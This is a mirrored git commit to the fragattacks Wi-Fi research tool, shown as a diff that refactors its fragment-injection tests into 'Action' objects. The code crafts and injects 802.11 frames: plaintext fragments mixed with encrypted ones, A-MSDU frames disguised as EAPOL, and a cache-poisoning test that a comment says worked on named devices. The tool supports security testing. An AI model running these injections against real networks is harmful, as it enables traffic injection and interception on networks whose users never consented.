mirror of
https://github.com/vanhoefm/fragattacks.git
synced 2025-02-26 13:49:35 -05:00
fragattack: argparse, use Actions
This commit is contained in:
parent
a2d46c996b
commit
d4b053b590
@ -142,7 +142,7 @@ CONFIG_PKCS12=y
|
|||||||
CONFIG_IPV6=y
|
CONFIG_IPV6=y
|
||||||
|
|
||||||
# IEEE Std 802.11r-2008 (Fast BSS Transition)
|
# IEEE Std 802.11r-2008 (Fast BSS Transition)
|
||||||
#CONFIG_IEEE80211R=y
|
CONFIG_IEEE80211R=y
|
||||||
|
|
||||||
# Use the hostapd's IEEE 802.11 authentication (ACL), but without
|
# Use the hostapd's IEEE 802.11 authentication (ACL), but without
|
||||||
# the IEEE 802.11 Management capability (e.g., FreeBSD/net80211)
|
# the IEEE 802.11 Management capability (e.g., FreeBSD/net80211)
|
||||||
@ -307,7 +307,7 @@ CONFIG_IPV6=y
|
|||||||
# Interworking (IEEE 802.11u)
|
# Interworking (IEEE 802.11u)
|
||||||
# This can be used to enable functionality to improve interworking with
|
# This can be used to enable functionality to improve interworking with
|
||||||
# external networks.
|
# external networks.
|
||||||
#CONFIG_INTERWORKING=y
|
CONFIG_INTERWORKING=y
|
||||||
|
|
||||||
# Hotspot 2.0
|
# Hotspot 2.0
|
||||||
#CONFIG_HS20=y
|
#CONFIG_HS20=y
|
||||||
|
@ -1,6 +1,7 @@
|
|||||||
#!/usr/bin/env python3
|
#!/usr/bin/env python3
|
||||||
from libwifi import *
|
from libwifi import *
|
||||||
import abc, sys, socket, struct, time, subprocess, atexit, select, copy
|
import abc, sys, socket, struct, time, subprocess, atexit, select, copy
|
||||||
|
import argparse
|
||||||
from wpaspy import Ctrl
|
from wpaspy import Ctrl
|
||||||
from scapy.contrib.wpa_eapol import WPA_key
|
from scapy.contrib.wpa_eapol import WPA_key
|
||||||
|
|
||||||
@ -15,7 +16,7 @@ from scapy.contrib.wpa_eapol import WPA_key
|
|||||||
# will make the chip assign difference sequence numbers to both fragments.
|
# will make the chip assign difference sequence numbers to both fragments.
|
||||||
# - Overwriting the sequence can be avoided by patching `ath_tgt_tx_seqno_normal`
|
# - Overwriting the sequence can be avoided by patching `ath_tgt_tx_seqno_normal`
|
||||||
# and commenting out the two lines that modify `i_seq`.
|
# and commenting out the two lines that modify `i_seq`.
|
||||||
# - See also the comment in Station.inject_next_frags to avoid other bugs with
|
# - See also the comment in Station.perform_actions to avoid other bugs with
|
||||||
# ath9k_htc when injecting frames with the MF flag and while being in AP mode.
|
# ath9k_htc when injecting frames with the MF flag and while being in AP mode.
|
||||||
# - The at9k_htc dongle, and likely other Wi-Fi devices, will reorder frames with
|
# - The at9k_htc dongle, and likely other Wi-Fi devices, will reorder frames with
|
||||||
# different QoS priorities. This means injected frames with differen priorities
|
# different QoS priorities. This means injected frames with differen priorities
|
||||||
@ -58,8 +59,8 @@ class TestOptions():
|
|||||||
self.inject_workaround = False
|
self.inject_workaround = False
|
||||||
|
|
||||||
self.interface = None
|
self.interface = None
|
||||||
self.clientip = None
|
self.ip = None
|
||||||
self.routerip = None
|
self.peerip = None
|
||||||
|
|
||||||
# ----------------------------------- Tests -----------------------------------
|
# ----------------------------------- Tests -----------------------------------
|
||||||
|
|
||||||
@ -94,7 +95,7 @@ def generate_request(sta, ptype):
|
|||||||
|
|
||||||
return header, request, check
|
return header, request, check
|
||||||
|
|
||||||
class Frag():
|
class Action():
|
||||||
# StartAuth: when starting the handshake
|
# StartAuth: when starting the handshake
|
||||||
# BeforeAuth: right before last message of the handshake
|
# BeforeAuth: right before last message of the handshake
|
||||||
# AfterAuth: right after last message of the handshake
|
# AfterAuth: right after last message of the handshake
|
||||||
@ -104,30 +105,24 @@ class Frag():
|
|||||||
# GetIp: request an IP before continueing (or use existing one)
|
# GetIp: request an IP before continueing (or use existing one)
|
||||||
# Rekey: force or wait for a PTK rekey
|
# Rekey: force or wait for a PTK rekey
|
||||||
# Reconnect: force a reconnect
|
# Reconnect: force a reconnect
|
||||||
GetIp, Rekey, Reconnect = range(3)
|
GetIp, Rekey, Reconnect, Roam, Inject, Func = range(6)
|
||||||
|
|
||||||
def __init__(self, trigger, encrypted, frame=None, flags=None, inc_pn=1, delay=None):
|
def __init__(self, trigger, action=Inject, func=None, enc=False, frame=None, inc_pn=1, delay=None):
|
||||||
self.trigger = trigger
|
self.trigger = trigger
|
||||||
|
self.action = action
|
||||||
|
self.func = func
|
||||||
|
|
||||||
if flags != None and not isinstance(flags, list):
|
if self.func != None:
|
||||||
self.flags = [flags]
|
self.action = Action.Func
|
||||||
else:
|
|
||||||
self.flags = flags if flags != None else []
|
|
||||||
|
|
||||||
self.encrypted = encrypted
|
# Specific to fragment injection
|
||||||
|
self.encrypted = enc
|
||||||
self.inc_pn = inc_pn
|
self.inc_pn = inc_pn
|
||||||
self.delay = delay
|
self.delay = delay
|
||||||
self.frame = frame
|
self.frame = frame
|
||||||
|
|
||||||
def next_flag(self):
|
def get_action(self):
|
||||||
if len(self.flags) == 0:
|
return self.action
|
||||||
return None
|
|
||||||
return self.flags[0]
|
|
||||||
|
|
||||||
def pop_flag(self):
|
|
||||||
if len(self.flags) == 0:
|
|
||||||
return None
|
|
||||||
return self.flags.pop(0)
|
|
||||||
|
|
||||||
class Test(metaclass=abc.ABCMeta):
|
class Test(metaclass=abc.ABCMeta):
|
||||||
"""
|
"""
|
||||||
@ -135,34 +130,30 @@ class Test(metaclass=abc.ABCMeta):
|
|||||||
but they can also be overriden if desired.
|
but they can also be overriden if desired.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
def __init__(self, fragments=None):
|
def __init__(self, actions=None):
|
||||||
self.fragments = fragments if fragments != None else []
|
self.actions = actions if actions != None else []
|
||||||
self.generated = False
|
self.generated = False
|
||||||
|
|
||||||
def next_trigger_is(self, trigger):
|
def next_trigger_is(self, trigger):
|
||||||
if len(self.fragments) == 0:
|
if len(self.actions) == 0:
|
||||||
return False
|
return False
|
||||||
return self.fragments[0].next_flag() == None and \
|
return self.actions[0].trigger == trigger
|
||||||
self.fragments[0].trigger == trigger
|
|
||||||
|
|
||||||
def next_flag(self):
|
def next_action(self, station):
|
||||||
if len(self.fragments) == 0:
|
if len(self.actions) == 0:
|
||||||
return None
|
return None
|
||||||
return self.fragments[0].next_flag()
|
|
||||||
|
|
||||||
def pop_flag(self):
|
if self.actions[0].action == Action.Inject and not self.generated:
|
||||||
if len(self.fragments) == 0:
|
|
||||||
return None
|
|
||||||
return self.fragments[0].pop_flag()
|
|
||||||
|
|
||||||
def next(self, station):
|
|
||||||
if not self.generated:
|
|
||||||
self.generate(station)
|
self.generate(station)
|
||||||
self.generated = True
|
self.generated = True
|
||||||
|
|
||||||
frag = self.fragments[0]
|
return self.actions[0]
|
||||||
del self.fragments[0]
|
|
||||||
return frag
|
def get_actions(self, action):
|
||||||
|
return [act for act in self.actions if act.action == action]
|
||||||
|
|
||||||
|
def pop_action(self):
|
||||||
|
del self.actions[0]
|
||||||
|
|
||||||
@abc.abstractmethod
|
@abc.abstractmethod
|
||||||
def generate(self, station):
|
def generate(self, station):
|
||||||
@ -192,31 +183,36 @@ class PingTest(Test):
|
|||||||
header, request, self.check_fn = generate_request(station, self.ptype)
|
header, request, self.check_fn = generate_request(station, self.ptype)
|
||||||
|
|
||||||
# Generate all the individual (fragmented) frames
|
# Generate all the individual (fragmented) frames
|
||||||
frames = create_fragments(header, request, len(self.fragments))
|
num_frags = len(self.get_actions(Action.Inject))
|
||||||
|
frames = create_fragments(header, request, num_frags)
|
||||||
|
|
||||||
# Assign frames to the existing fragment objects
|
# Assign frames to the existing fragment objects
|
||||||
for frag, frame in zip(self.fragments, frames):
|
for frag, frame in zip(self.get_actions(Action.Inject), frames):
|
||||||
if self.bcast:
|
if self.bcast:
|
||||||
frame.addr1 = "ff:ff:ff:ff:ff:ff"
|
frame.addr1 = "ff:ff:ff:ff:ff:ff"
|
||||||
frag.frame = frame
|
frag.frame = frame
|
||||||
|
|
||||||
# Put the separator between each fragment if requested.
|
# Put the separator after each fragment if requested.
|
||||||
if self.separate_with != None:
|
if self.separate_with != None:
|
||||||
for i in range(len(self.fragments) - 1, 0, -1):
|
for i in range(len(self.actions) - 1, 0, -1):
|
||||||
prev_frag = self.fragments[i - 1]
|
# Check if the previous action is indeed an injection
|
||||||
|
prev_frag = self.actions[i - 1]
|
||||||
|
if prev_frag.action != Action.Inject:
|
||||||
|
continue
|
||||||
|
|
||||||
sep_frag = Frag(prev_frag.trigger, prev_frag.encrypted)
|
# Create a similar inject action for the seperator
|
||||||
|
sep_frag = Action(prev_frag.trigger, enc=prev_frag.encrypted)
|
||||||
sep_frag.frame = self.separate_with.copy()
|
sep_frag.frame = self.separate_with.copy()
|
||||||
station.set_header(sep_frag.frame)
|
station.set_header(sep_frag.frame)
|
||||||
|
|
||||||
self.fragments.insert(i, sep_frag)
|
self.actions.insert(i, sep_frag)
|
||||||
|
|
||||||
class LinuxTest(Test):
|
class LinuxTest(Test):
|
||||||
def __init__(self, ptype):
|
def __init__(self, ptype):
|
||||||
super().__init__([
|
super().__init__([
|
||||||
Frag(Frag.Connected, True),
|
Action(Action.Connected, enc=True),
|
||||||
Frag(Frag.Connected, True),
|
Action(Action.Connected, enc=True),
|
||||||
Frag(Frag.Connected, False)
|
Action(Action.Connected, enc=False)
|
||||||
])
|
])
|
||||||
self.ptype = ptype
|
self.ptype = ptype
|
||||||
self.check_fn = None
|
self.check_fn = None
|
||||||
@ -231,15 +227,15 @@ class LinuxTest(Test):
|
|||||||
frag1, frag2 = create_fragments(header, request, 2)
|
frag1, frag2 = create_fragments(header, request, 2)
|
||||||
|
|
||||||
# Fragment 1: normal
|
# Fragment 1: normal
|
||||||
self.fragments[0].frame = frag1
|
self.actions[0].frame = frag1
|
||||||
|
|
||||||
# Fragment 2: make Linux update latest used crypto Packet Number
|
# Fragment 2: make Linux update latest used crypto Packet Number
|
||||||
frag2enc = frag2.copy()
|
frag2enc = frag2.copy()
|
||||||
frag2enc.SC ^= (1 << 4) | 1
|
frag2enc.SC ^= (1 << 4) | 1
|
||||||
self.fragments[1].frame = frag2enc
|
self.actions[1].frame = frag2enc
|
||||||
|
|
||||||
# Fragment 3: can now inject last fragment as plaintext
|
# Fragment 3: can now inject last fragment as plaintext
|
||||||
self.fragments[2].frame = frag2
|
self.actions[2].frame = frag2
|
||||||
|
|
||||||
return test
|
return test
|
||||||
|
|
||||||
@ -249,8 +245,8 @@ class MacOsTest(Test):
|
|||||||
"""
|
"""
|
||||||
def __init__(self, ptype):
|
def __init__(self, ptype):
|
||||||
super().__init__([
|
super().__init__([
|
||||||
Frag(Frag.BeforeAuth, False),
|
Action(Action.BeforeAuth, enc=False),
|
||||||
Frag(Frag.BeforeAuth, False)
|
Action(Action.BeforeAuth, enc=False)
|
||||||
])
|
])
|
||||||
self.ptype = ptype
|
self.ptype = ptype
|
||||||
self.check_fn = None
|
self.check_fn = None
|
||||||
@ -275,8 +271,8 @@ class MacOsTest(Test):
|
|||||||
frag2.SC |= 1
|
frag2.SC |= 1
|
||||||
frag2.addr1 = "ff:ff:ff:ff:ff:ff"
|
frag2.addr1 = "ff:ff:ff:ff:ff:ff"
|
||||||
|
|
||||||
self.fragments[0].frame = frag1
|
self.actions[0].frame = frag1
|
||||||
self.fragments[1].frame = frag2
|
self.actions[1].frame = frag2
|
||||||
|
|
||||||
class EapolTest(Test):
|
class EapolTest(Test):
|
||||||
# TODO:
|
# TODO:
|
||||||
@ -286,8 +282,8 @@ class EapolTest(Test):
|
|||||||
# Test 4: EAPOL and A-MSDU tests?
|
# Test 4: EAPOL and A-MSDU tests?
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
super().__init__([
|
super().__init__([
|
||||||
Frag(Frag.BeforeAuth, False),
|
Action(Action.BeforeAuth, enc=False),
|
||||||
Frag(Frag.BeforeAuth, False)
|
Action(Action.BeforeAuth, enc=False)
|
||||||
])
|
])
|
||||||
|
|
||||||
def generate(self, station):
|
def generate(self, station):
|
||||||
@ -299,8 +295,8 @@ class EapolTest(Test):
|
|||||||
frag1copy.addr1 = "ff:ff:ff:ff:ff:ff"
|
frag1copy.addr1 = "ff:ff:ff:ff:ff:ff"
|
||||||
frag2copy.addr1 = "ff:ff:ff:ff:ff:ff"
|
frag2copy.addr1 = "ff:ff:ff:ff:ff:ff"
|
||||||
|
|
||||||
self.fragments[0].frame = frag1
|
self.actions[0].frame = frag1
|
||||||
self.fragments[0].frame = frag2
|
self.actions[0].frame = frag2
|
||||||
|
|
||||||
#TODO: Move this function elsewhere?
|
#TODO: Move this function elsewhere?
|
||||||
def add_msdu_frag(src, dst, payload):
|
def add_msdu_frag(src, dst, payload):
|
||||||
@ -319,8 +315,8 @@ def add_msdu_frag(src, dst, payload):
|
|||||||
class EapolMsduTest(Test):
|
class EapolMsduTest(Test):
|
||||||
def __init__(self, ptype):
|
def __init__(self, ptype):
|
||||||
super().__init__([
|
super().__init__([
|
||||||
Frag(Frag.Connected, False),
|
Action(Action.Connected, enc=False),
|
||||||
Frag(Frag.Connected, False, delay=2)
|
Action(Action.Connected, enc=False)
|
||||||
])
|
])
|
||||||
self.ptype = ptype
|
self.ptype = ptype
|
||||||
self.check_fn = None
|
self.check_fn = None
|
||||||
@ -338,7 +334,7 @@ class EapolMsduTest(Test):
|
|||||||
# Set the A-MSDU frame type flag in the QoS header
|
# Set the A-MSDU frame type flag in the QoS header
|
||||||
header.Reserved = 1
|
header.Reserved = 1
|
||||||
# Testing
|
# Testing
|
||||||
header.addr2 = "00:11:22:33:44:55"
|
#header.addr2 = "00:11:22:33:44:55"
|
||||||
|
|
||||||
# Masquerade A-MSDU frame as an EAPOL frame
|
# Masquerade A-MSDU frame as an EAPOL frame
|
||||||
request = LLC()/SNAP()/EAPOL()/Raw(b"\x00\x06AAAAAA") / add_msdu_frag(station.mac, station.peermac, request)
|
request = LLC()/SNAP()/EAPOL()/Raw(b"\x00\x06AAAAAA") / add_msdu_frag(station.mac, station.peermac, request)
|
||||||
@ -350,9 +346,8 @@ class EapolMsduTest(Test):
|
|||||||
station.set_header(auth)
|
station.set_header(auth)
|
||||||
auth.addr2 = "00:11:22:33:44:55"
|
auth.addr2 = "00:11:22:33:44:55"
|
||||||
|
|
||||||
self.fragments[0].frame = auth
|
self.actions[0].frame = auth
|
||||||
self.fragments[1].frame = frames[0]
|
self.actions[1].frame = frames[0]
|
||||||
|
|
||||||
|
|
||||||
# ----------------------------------- Abstract Station Class -----------------------------------
|
# ----------------------------------- Abstract Station Class -----------------------------------
|
||||||
|
|
||||||
@ -485,22 +480,103 @@ class Station():
|
|||||||
self.reset_keys()
|
self.reset_keys()
|
||||||
self.time_connected = None
|
self.time_connected = None
|
||||||
|
|
||||||
def inject_next_frags(self, trigger):
|
def trigger_eapol_events(self, eapol):
|
||||||
|
key_type = eapol.key_info & 0x0008
|
||||||
|
key_ack = eapol.key_info & 0x0080
|
||||||
|
key_mic = eapol.key_info & 0x0100
|
||||||
|
key_secure = eapol.key_info & 0x0200
|
||||||
|
# Detect Msg3/4 assumig WPA2 is used --- XXX support WPA1 as well
|
||||||
|
is_msg3_or_4 = key_secure != 0
|
||||||
|
|
||||||
|
# Inject any fragments before authenticating
|
||||||
|
if not self.txed_before_auth:
|
||||||
|
log(STATUS, "Action.StartAuth", color="green")
|
||||||
|
self.perform_actions(Action.StartAuth)
|
||||||
|
self.txed_before_auth = True
|
||||||
|
self.txed_before_auth_done = False
|
||||||
|
|
||||||
|
# Inject any fragments when almost done authenticating
|
||||||
|
elif is_msg3_or_4 and not self.txed_before_auth_done:
|
||||||
|
log(STATUS, "Action.BeforeAuth", color="green")
|
||||||
|
self.perform_actions(Action.BeforeAuth)
|
||||||
|
self.txed_before_auth_done = True
|
||||||
|
self.txed_before_auth = False
|
||||||
|
|
||||||
|
self.time_connected = None
|
||||||
|
|
||||||
|
def handle_eapol_tx(self, eapol):
|
||||||
|
eapol = EAPOL(eapol)
|
||||||
|
self.trigger_eapol_events(eapol)
|
||||||
|
|
||||||
|
# - Send over monitor interface to assure order compared to injected fragments.
|
||||||
|
# - This is also important because the station might have already installed the
|
||||||
|
# key before this script can send the EAPOL frame over Ethernet (but we didn't
|
||||||
|
# yet request the key from this script).
|
||||||
|
# - Send with high priority, otherwise Action.AfterAuth might be send before
|
||||||
|
# the EAPOL frame by the Wi-Fi chip.
|
||||||
|
self.send_mon(eapol)
|
||||||
|
|
||||||
|
def perform_actions(self, trigger):
|
||||||
|
if self.test == None:
|
||||||
|
return
|
||||||
|
|
||||||
frame = None
|
frame = None
|
||||||
|
while self.test.next_trigger_is(trigger):
|
||||||
|
act = self.test.next_action(self)
|
||||||
|
print("Loop:", self.test.actions)
|
||||||
|
print("Loop:", [act.frame for act in self.test.actions])
|
||||||
|
|
||||||
while self.test != None and self.test.next_trigger_is(trigger):
|
# GetIp is a special case. It is only popped when we actually
|
||||||
frag = self.test.next(self)
|
# have an IP. So handle if first as a special case.
|
||||||
if frag.delay != None:
|
# TODO: Actually "complete" the action once we have an IP.
|
||||||
log(STATUS, f"Sleeping {frag.delay} seconds")
|
if act.action == Action.GetIp and not self.obtained_ip:
|
||||||
time.sleep(frag.delay)
|
# (Re)transmit DHCP frames (or as AP print status message)
|
||||||
|
self.daemon.get_ip(self)
|
||||||
|
# Either schedule a new Connected event, or the initial one. Use 2 seconds
|
||||||
|
# because requesting IP generally takes a bit of time.
|
||||||
|
# TODO: Add an option to configure this timeout.
|
||||||
|
self.time_connected = time.time() + 1
|
||||||
|
log(WARNING, f"Scheduling next Action.Connected at {self.time_connected}")
|
||||||
|
break
|
||||||
|
|
||||||
if frag.encrypted:
|
# All the other actions are always popped
|
||||||
|
self.test.pop_action()
|
||||||
|
|
||||||
|
if act.action == Action.Func:
|
||||||
|
log(STATUS, "[Executing Function]")
|
||||||
|
if act.func(self) != None:
|
||||||
|
break
|
||||||
|
|
||||||
|
elif act.action == Action.Rekey:
|
||||||
|
# Force rekey as AP, wait on rekey as client
|
||||||
|
self.daemon.rekey(self)
|
||||||
|
break
|
||||||
|
|
||||||
|
elif act.action == Action.Roam:
|
||||||
|
# Roam as client, TODO XXX what was AP?
|
||||||
|
self.daemon.roam(self)
|
||||||
|
break
|
||||||
|
|
||||||
|
elif act.action == Action.Reconnect:
|
||||||
|
# Full reconnect as AP, reassociation as client
|
||||||
|
self.daemon.reconnect(self)
|
||||||
|
break
|
||||||
|
|
||||||
|
elif act.action == Action.Inject:
|
||||||
|
if act.delay != None:
|
||||||
|
log(STATUS, f"Sleeping {act.delay} seconds")
|
||||||
|
time.sleep(act.delay)
|
||||||
|
|
||||||
|
if act.encrypted:
|
||||||
assert self.tk != None and self.gtk != None
|
assert self.tk != None and self.gtk != None
|
||||||
frame = self.encrypt(frag.frame, inc_pn=frag.inc_pn)
|
frame = self.encrypt(act.frame, inc_pn=act.inc_pn)
|
||||||
log(STATUS, "Encrypted fragment with key " + self.tk.hex())
|
log(STATUS, "Encrypted fragment with key " + self.tk.hex())
|
||||||
else:
|
else:
|
||||||
frame = frag.frame
|
frame = act.frame
|
||||||
|
|
||||||
|
print(repr(frame))
|
||||||
|
print(repr(act))
|
||||||
|
print(self.test.actions)
|
||||||
self.daemon.inject_mon(frame)
|
self.daemon.inject_mon(frame)
|
||||||
log(STATUS, "[Injected fragment] " + repr(frame))
|
log(STATUS, "[Injected fragment] " + repr(frame))
|
||||||
|
|
||||||
@ -519,85 +595,20 @@ class Station():
|
|||||||
self.daemon.inject_mon(Dot11(addr1="ff:ff:ff:ff:ff:ff"))
|
self.daemon.inject_mon(Dot11(addr1="ff:ff:ff:ff:ff:ff"))
|
||||||
print("[Injected packet] Prevent ath9k_htc bug after fragment injection")
|
print("[Injected packet] Prevent ath9k_htc bug after fragment injection")
|
||||||
|
|
||||||
def trigger_eapol_events(self, eapol):
|
|
||||||
key_type = eapol.key_info & 0x0008
|
|
||||||
key_ack = eapol.key_info & 0x0080
|
|
||||||
key_mic = eapol.key_info & 0x0100
|
|
||||||
key_secure = eapol.key_info & 0x0200
|
|
||||||
# Detect Msg3/4 assumig WPA2 is used --- XXX support WPA1 as well
|
|
||||||
is_msg3_or_4 = key_secure != 0
|
|
||||||
|
|
||||||
# Inject any fragments before authenticating
|
|
||||||
if not self.txed_before_auth:
|
|
||||||
log(STATUS, "Frag.StartAuth", color="green")
|
|
||||||
self.inject_next_frags(Frag.StartAuth)
|
|
||||||
self.txed_before_auth = True
|
|
||||||
self.txed_before_auth_done = False
|
|
||||||
|
|
||||||
# Inject any fragments when almost done authenticating
|
|
||||||
elif is_msg3_or_4 and not self.txed_before_auth_done:
|
|
||||||
log(STATUS, "Frag.BeforeAuth", color="green")
|
|
||||||
self.inject_next_frags(Frag.BeforeAuth)
|
|
||||||
self.txed_before_auth_done = True
|
|
||||||
self.txed_before_auth = False
|
|
||||||
|
|
||||||
self.time_connected = None
|
|
||||||
|
|
||||||
def handle_eapol_tx(self, eapol):
|
|
||||||
eapol = EAPOL(eapol)
|
|
||||||
self.trigger_eapol_events(eapol)
|
|
||||||
|
|
||||||
# - Send over monitor interface to assure order compared to injected fragments.
|
|
||||||
# - This is also important because the station might have already installed the
|
|
||||||
# key before this script can send the EAPOL frame over Ethernet (but we didn't
|
|
||||||
# yet request the key from this script).
|
|
||||||
# - Send with high priority, otherwise Frag.AfterAuth might be send before
|
|
||||||
# the EAPOL frame by the Wi-Fi chip.
|
|
||||||
self.send_mon(eapol)
|
|
||||||
|
|
||||||
def check_flags_and_inject(self, trigger):
|
|
||||||
if self.test == None:
|
|
||||||
return
|
|
||||||
|
|
||||||
flag = self.test.next_flag()
|
|
||||||
if flag == Frag.GetIp:
|
|
||||||
if self.obtained_ip:
|
|
||||||
self.test.pop_flag()
|
|
||||||
else:
|
|
||||||
# (Re)transmit DHCP frames (or as AP print status message)
|
|
||||||
self.daemon.get_ip(self)
|
|
||||||
# Either schedule a new Connected event, or the initial one. Use 2 seconds
|
|
||||||
# because requesting IP generally takes a bit of time.
|
|
||||||
# TODO: Add an option to configure this timeout.
|
|
||||||
self.time_connected = time.time() + 1
|
|
||||||
log(WARNING, f"Scheduling next Frag.Connected at {self.time_connected}")
|
|
||||||
return
|
|
||||||
|
|
||||||
self.inject_next_frags(trigger)
|
|
||||||
|
|
||||||
flag = self.test.pop_flag()
|
|
||||||
if flag == Frag.Rekey:
|
|
||||||
# Force rekey as AP, wait on rekey as client
|
|
||||||
self.daemon.rekey(self)
|
|
||||||
|
|
||||||
elif flag == Frag.Reconnect:
|
|
||||||
# Full reconnect as AP, reassociation as client
|
|
||||||
self.daemon.reconnect(self)
|
|
||||||
|
|
||||||
def handle_authenticated(self):
|
def handle_authenticated(self):
|
||||||
"""Called after completion of the 4-way handshake or similar"""
|
"""Called after completion of the 4-way handshake or similar"""
|
||||||
self.tk = self.daemon.get_tk(self)
|
self.tk = self.daemon.get_tk(self)
|
||||||
self.gtk, self.gtk_idx = self.daemon.get_gtk()
|
self.gtk, self.gtk_idx = self.daemon.get_gtk()
|
||||||
|
|
||||||
# Note that self.time_connect may get changed in check_flags_and_inject
|
# Note that self.time_connect may get changed in perform_actions
|
||||||
log(STATUS, "Frag.AfterAuth", color="green")
|
log(STATUS, "Action.AfterAuth", color="green")
|
||||||
self.time_connected = time.time() + 1
|
self.time_connected = time.time() + 1
|
||||||
self.check_flags_and_inject(Frag.AfterAuth)
|
self.perform_actions(Action.AfterAuth)
|
||||||
|
|
||||||
def handle_connected(self):
|
def handle_connected(self):
|
||||||
"""This is called ~1 second after completing the handshake"""
|
"""This is called ~1 second after completing the handshake"""
|
||||||
log(STATUS, "Frag.Connected", color="green")
|
log(STATUS, "Action.Connected", color="green")
|
||||||
self.check_flags_and_inject(Frag.Connected)
|
self.perform_actions(Action.Connected)
|
||||||
|
|
||||||
def set_ip_addresses(self, ip, peerip):
|
def set_ip_addresses(self, ip, peerip):
|
||||||
self.ip = ip
|
self.ip = ip
|
||||||
@ -907,10 +918,9 @@ class Supplicant(Daemon):
|
|||||||
req = Ether(dst="ff:ff:ff:ff:ff:ff", src=self.station.mac)/IP(src="0.0.0.0", dst="255.255.255.255")
|
req = Ether(dst="ff:ff:ff:ff:ff:ff", src=self.station.mac)/IP(src="0.0.0.0", dst="255.255.255.255")
|
||||||
req = req/UDP(sport=68, dport=67)/BOOTP(op=1, chaddr=rawmac, xid=self.dhcp_xid)
|
req = req/UDP(sport=68, dport=67)/BOOTP(op=1, chaddr=rawmac, xid=self.dhcp_xid)
|
||||||
req = req/DHCP(options=[("message-type", "discover"), "end"])
|
req = req/DHCP(options=[("message-type", "discover"), "end"])
|
||||||
print(repr(req))
|
|
||||||
|
|
||||||
|
log(STATUS, "Sending DHCP discover with XID {self.dhcp_xid}")
|
||||||
self.station.send_mon(req)
|
self.station.send_mon(req)
|
||||||
#self.sock_eth.send(req)
|
|
||||||
|
|
||||||
def send_dhcp_request(self, offer):
|
def send_dhcp_request(self, offer):
|
||||||
rawmac = bytes.fromhex(self.station.mac.replace(':', ''))
|
rawmac = bytes.fromhex(self.station.mac.replace(':', ''))
|
||||||
@ -923,8 +933,8 @@ class Supplicant(Daemon):
|
|||||||
reply = reply/DHCP(options=[("message-type", "request"), ("requested_addr", myip),
|
reply = reply/DHCP(options=[("message-type", "request"), ("requested_addr", myip),
|
||||||
("hostname", "fragclient"), "end"])
|
("hostname", "fragclient"), "end"])
|
||||||
|
|
||||||
|
log(STATUS, "Sending DHCP request with XID {self.dhcp_xid}")
|
||||||
self.station.send_mon(reply)
|
self.station.send_mon(reply)
|
||||||
#self.sock_eth.send(reply)
|
|
||||||
|
|
||||||
def handle_eth_dhcp(self, p):
|
def handle_eth_dhcp(self, p):
|
||||||
"""Handle packets needed to connect and request an IP"""
|
"""Handle packets needed to connect and request an IP"""
|
||||||
@ -974,8 +984,14 @@ class Supplicant(Daemon):
|
|||||||
cmd, srcaddr, payload = msg.split()
|
cmd, srcaddr, payload = msg.split()
|
||||||
self.station.handle_eapol_tx(bytes.fromhex(payload))
|
self.station.handle_eapol_tx(bytes.fromhex(payload))
|
||||||
|
|
||||||
|
def roam(self, station):
|
||||||
|
log(STATUS, "Roaming to the current AP.", color="green")
|
||||||
|
wpaspy_command(self.wpaspy_ctrl, "SET reassoc_same_bss_optim 0")
|
||||||
|
wpaspy_command(self.wpaspy_ctrl, "ROAM " + station.peermac)
|
||||||
|
|
||||||
def reconnect(self, station):
|
def reconnect(self, station):
|
||||||
log(STATUS, "Reconnecting to the AP.", color="green")
|
log(STATUS, "Reconnecting to the AP.", color="green")
|
||||||
|
wpaspy_command(self.wpaspy_ctrl, "SET reassoc_same_bss_optim 1")
|
||||||
wpaspy_command(self.wpaspy_ctrl, "REASSOCIATE")
|
wpaspy_command(self.wpaspy_ctrl, "REASSOCIATE")
|
||||||
|
|
||||||
def configure_daemon(self):
|
def configure_daemon(self):
|
||||||
@ -984,12 +1000,11 @@ class Supplicant(Daemon):
|
|||||||
|
|
||||||
# Optimize reassoc-to-same-BSS. This makes the "REASSOCIATE" command skip the
|
# Optimize reassoc-to-same-BSS. This makes the "REASSOCIATE" command skip the
|
||||||
# authentication phase (reducing the chance that packet queues are reset).
|
# authentication phase (reducing the chance that packet queues are reset).
|
||||||
wpaspy_command(self.wpaspy_ctrl, "SET reassoc_same_bss_optim 1")
|
|
||||||
wpaspy_command(self.wpaspy_ctrl, "SET ext_eapol_frame_io 1")
|
wpaspy_command(self.wpaspy_ctrl, "SET ext_eapol_frame_io 1")
|
||||||
|
|
||||||
# If the user already supplied IPs we can immediately perform tests
|
# If the user already supplied IPs we can immediately perform tests
|
||||||
if self.options.clientip and self.options.routerip:
|
if self.options.ip and self.options.peerip:
|
||||||
self.initialize_ips(self.options.clientip, self.options.routerip)
|
self.initialize_ips(self.options.ip, self.options.peerip)
|
||||||
|
|
||||||
def start_daemon(self):
|
def start_daemon(self):
|
||||||
log(STATUS, "Starting wpa_supplicant ...")
|
log(STATUS, "Starting wpa_supplicant ...")
|
||||||
@ -1014,54 +1029,58 @@ class Supplicant(Daemon):
|
|||||||
def cleanup():
|
def cleanup():
|
||||||
daemon.stop()
|
daemon.stop()
|
||||||
|
|
||||||
def prepare_tests(test_id):
|
def prepare_tests(test_name):
|
||||||
if test_id == 0:
|
if test_name == "0":
|
||||||
# Simple ping as sanity check
|
# Simple ping as sanity check
|
||||||
test = PingTest(REQ_DHCP,
|
test = PingTest(REQ_DHCP,
|
||||||
[Frag(Frag.Connected, True, flags=Frag.GetIp)])
|
[Action(Action.Connected, Action.Roam),
|
||||||
#[Frag(Frag.AfterAuth, True, flags=Frag.Rekey)])
|
Action(Action.Connected, enc=False, delay=5),
|
||||||
|
Action(Action.Connected, enc=False)])
|
||||||
|
|
||||||
elif test_id == 1:
|
elif test_name == "1":
|
||||||
# Check if the STA receives broadcast (useful test against AP)
|
# Check if the STA receives broadcast (useful test against AP)
|
||||||
test = PingTest(REQ_DHCP,
|
test = PingTest(REQ_DHCP,
|
||||||
[Frag(Frag.Connected, True)],
|
[Action(Action.Connected, enc=True)],
|
||||||
bcast=True)
|
bcast=True)
|
||||||
|
|
||||||
elif test_id == 2:
|
elif test_name == "2":
|
||||||
# Cache poison attack. Worked against Linux Hostapd and RT-AC51U.
|
# Cache poison attack. Worked against Linux Hostapd and RT-AC51U.
|
||||||
test = PingTest(REQ_ICMP,
|
test = PingTest(REQ_ICMP,
|
||||||
[Frag(Frag.Connected, True),
|
[Action(Action.Connected, enc=True),
|
||||||
Frag(Frag.AfterAuth, True, flags=Frag.Reconnect)])
|
Action(Action.Connected, action=Action.Reconnect),
|
||||||
|
Action(Action.AfterAuth, enc=True)])
|
||||||
|
|
||||||
elif test_id == 3:
